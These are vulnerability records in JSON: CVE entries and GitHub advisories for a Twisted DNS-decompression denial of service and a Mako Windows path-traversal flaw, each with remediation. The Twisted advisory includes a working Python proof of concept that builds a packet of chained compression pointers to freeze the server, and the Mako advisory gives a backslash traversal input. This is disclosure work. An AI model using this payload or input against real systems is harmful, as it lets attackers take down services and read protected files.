{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-42304",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-14T15:44:57.486318Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-14T15:45:34.746Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "twisted",
          "vendor": "twisted",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.4.0rc2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Twisted is an event-based framework for internet applications, supporting Python 3.6+. Prior to 26.4.0rc2, the twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server. This vulnerability is fixed in 26.4.0rc2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-400",
              "description": "CWE-400: Uncontrolled Resource Consumption",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-407",
              "description": "CWE-407: Inefficient Algorithmic Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-13T20:20:29.149Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
        }
      ],
      "source": {
        "advisory": "GHSA-grgv-6hw6-v9g4",
        "discovery": "UNKNOWN"
      },
      "title": "Twisted: Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-42304",
    "datePublished": "2026-05-13T20:20:29.149Z",
    "dateReserved": "2026-04-26T12:13:55.552Z",
    "dateUpdated": "2026-05-14T15:45:34.746Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-44307",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-13T14:57:34.308791Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-13T15:00:13.642Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mako",
          "vendor": "sqlalchemy",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.3.12"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \\..\\..\\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-12T21:53:52.826Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-2h4p-vjrc-8xpq",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-2h4p-vjrc-8xpq"
        },
        {
          "name": "https://github.com/sqlalchemy/mako/issues/435",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sqlalchemy/mako/issues/435"
        },
        {
          "name": "https://github.com/sqlalchemy/mako/commit/72e10c573ca0fbcbddd4455abca8ce92a61780d7",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sqlalchemy/mako/commit/72e10c573ca0fbcbddd4455abca8ce92a61780d7"
        },
        {
          "name": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_12",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_12"
        }
      ],
      "source": {
        "advisory": "GHSA-2h4p-vjrc-8xpq",
        "discovery": "UNKNOWN"
      },
      "title": "Mako: Path traversal via backslash URI on Windows in TemplateLookup"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-44307",
    "datePublished": "2026-05-12T21:53:52.826Z",
    "dateReserved": "2026-05-05T19:00:06.021Z",
    "dateUpdated": "2026-05-13T15:00:13.642Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.3.11"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Mako"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:45:16Z",
    "nvd_published_at": "2026-05-12T22:16:37Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOn Windows, a URI using backslash traversal (e.g. `\\..\\..\\ secret.txt`) bypasses the directory traversal check in `Template.__init__` and the `posixpath`-based normalization in `TemplateLookup.get_template()`, allowing reads of files outside the configured template directory.\n\n\n## Details\n\nThe root cause is a mismatch between `posixpath` (used for URI normalization in `get_template()`) and `os.path` (used for file access via `os.path.isfile()` and validation via `os.path.normpath()` in `Template.__init__`). On Windows, `os.path` is `ntpath`, which treats `\\` as a path separator, while `posixpath` treats it as a literal character.\n\nThe vulnerability chain:\n\n1. `get_template()` strips only leading `/` via `re.sub(r\"^\\/+\", \"\", uri)` and normalizes with `posixpath` \u2014 backslash `\\` is treated as a literal character, so `\\..\\ secret.txt` passes through with `..` undetected.\n2. `Template.__init__()` validation uses `os.path.normpath()` \u2014 on Windows this resolves `\\..\\ secret.txt` to `\\secret.txt`, which does not start with `..`, so the `startswith(\"..\")` check passes.\n3. `os.path.isfile()` on Windows interprets `\\` as a path separator, resolving the `..` traversal and finding files outside the template directory.\n\n### Affected code\n\n- `mako/lookup.py`: `TemplateLookup.get_template()` uses `posixpath.normpath`/`posixpath.join` for path construction but `os.path.isfile()` for existence check\n- `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()` which on Windows resolves backslash traversal to a form that passes the `startswith(\"..\")` guard\n\n## Impact\n\nIf an application passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.\n\n## Remediation\n\nThe fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.",
  "id": "GHSA-2h4p-vjrc-8xpq",
  "modified": "2026-05-13T16:43:11Z",
  "published": "2026-05-06T21:45:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-2h4p-vjrc-8xpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/issues/435"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/commit/72e10c573ca0fbcbddd4455abca8ce92a61780d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sqlalchemy/mako"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Mako vulnerable to path traversal via backslash URI on Windows in TemplateLookup"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 25.5.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Twisted"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.4.0rc2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42304"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:12:37Z",
    "nvd_published_at": "2026-05-13T21:16:46Z",
    "severity": "HIGH"
  },
  "details": "### Details\n\nThe twisted.names module is vulnerable to a Denial of Service (DoS) attack via resource exhaustion during DNS name decompression. A remote, unauthenticated attacker can exploit this by sending a crafted TCP DNS packet containing deeply chained compression pointers. This flaw bypasses previous loop-prevention logic, causing the single-threaded Twisted reactor to hang while processing millions of recursive lookups, effectively freezing the server.\n\n---\n\n### Technical Details\n\nThe main issue is in twisted.names.dns.Name.decode. A visited set was added in 2011 (commit e11cd82) to prevent infinite loops, but there is still no limit on the number of pointer dereferences per message. Also, the visited set is reset for each Question record.\n\nBecause DNSServerFactory handles every record in QDCOUNT without checking them, an attacker can add thousands of questions that all refer to the same long chain of pointers. This makes the parser repeat a complex and unnecessary search.\n\n```python\n##  src/twisted/names/dns.py (Lines 595-631)\n\ndef decode(self, strio, length=None):\n        visited = set()\n        self.name = b\"\"\n        off = 0\n        while 1:\n            l = ord(readPrecisely(strio, 1))\n            if l == 0:\n                if off \u003e 0:\n                    strio.seek(off)\n                return\n            if (l \u003e\u003e 6) == 3:\n                new_off = (l \u0026 63) \u003c\u003c 8 | ord(readPrecisely(strio, 1))\n                if new_off in visited:\n                    raise ValueError(\"Compression loop in encoded name\")\n                visited.add(new_off)\n                if off == 0:\n                    off = strio.tell()\n                strio.seek(new_off)\n                continue\n            label = readPrecisely(strio, l)\n            if self.name == b\"\":\n                self.name = label\n            else:\n                self.name = self.name + b\".\" + label\n\n```\n\n---\n\n### PoC\n\n```python\nimport struct, time\nfrom twisted.names import dns, server\nfrom twisted.test import proto_helpers\n\ndef create_tcp_payload():\n    num_pointers = 8000\n    packet_length = 65533\n    num_questions = (packet_length - (num_pointers * 2) - 12) // 6\n\n    buffer = bytearray(packet_length)\n\n    struct.pack_into(\"!HHHHHH\", buffer, 0, 1, 0, num_questions, 0, 0, 0)\n\n    ptr_offset = 12\n    for _ in range(num_pointers - 1):\n        struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | (ptr_offset + 2))\n        ptr_offset += 2\n\n    null_byte_offset = ptr_offset + 2\n    struct.pack_into(\"!H\", buffer, ptr_offset, 0xC000 | null_byte_offset)\n    buffer[null_byte_offset] = 0\n\n    question_offset = null_byte_offset + 1\n    for _ in range(num_questions):\n        if question_offset + 6 \u003c= packet_length:\n            struct.pack_into(\"!HHH\", buffer, question_offset, 0xC000 | 12, 1, 1)\n            question_offset += 6\n\n    return packet_length, num_pointers, num_questions, struct.pack(\"!H\", packet_length) + buffer\n\ndef test_dns_server():\n    factory = server.DNSServerFactory(clients=[])\n    protocol = factory.buildProtocol((\"127.0.0.1\", 10053))\n    transport = proto_helpers.StringTransport()\n    protocol.makeConnection(transport)\n\n    pkt_len, num_ptrs, num_qs, payload = create_tcp_payload()\n    print(\"payload\")\n    print(f\"len={pkt_len} ptrs={num_ptrs} qs={num_qs}\")\n\n    start = time.time()\n    protocol.dataReceived(payload)\n    end = time.time()\n\n    print(f\"time={end - start:.4f}s\")\n\nif __name__ == \"__main__\":\n    test_dns_server()\n```\n\n---\n\n### Impact\n\nA single malformed TCP packet is sufficient to block the Twisted reactor\u0027s event loop for several seconds. Because Twisted operates on a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati",
  "id": "GHSA-grgv-6hw6-v9g4",
  "modified": "2026-05-14T20:42:07Z",
  "published": "2026-05-05T21:12:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/twisted/twisted"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains"
}